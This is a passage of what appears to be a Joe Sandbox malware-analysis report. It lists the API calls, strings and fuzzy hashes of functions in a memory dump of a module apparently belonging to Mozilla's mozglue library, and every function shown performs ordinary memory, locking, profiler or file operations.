CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268
MOZ_CRASH(), xrefs: 6C95227D

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8
<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

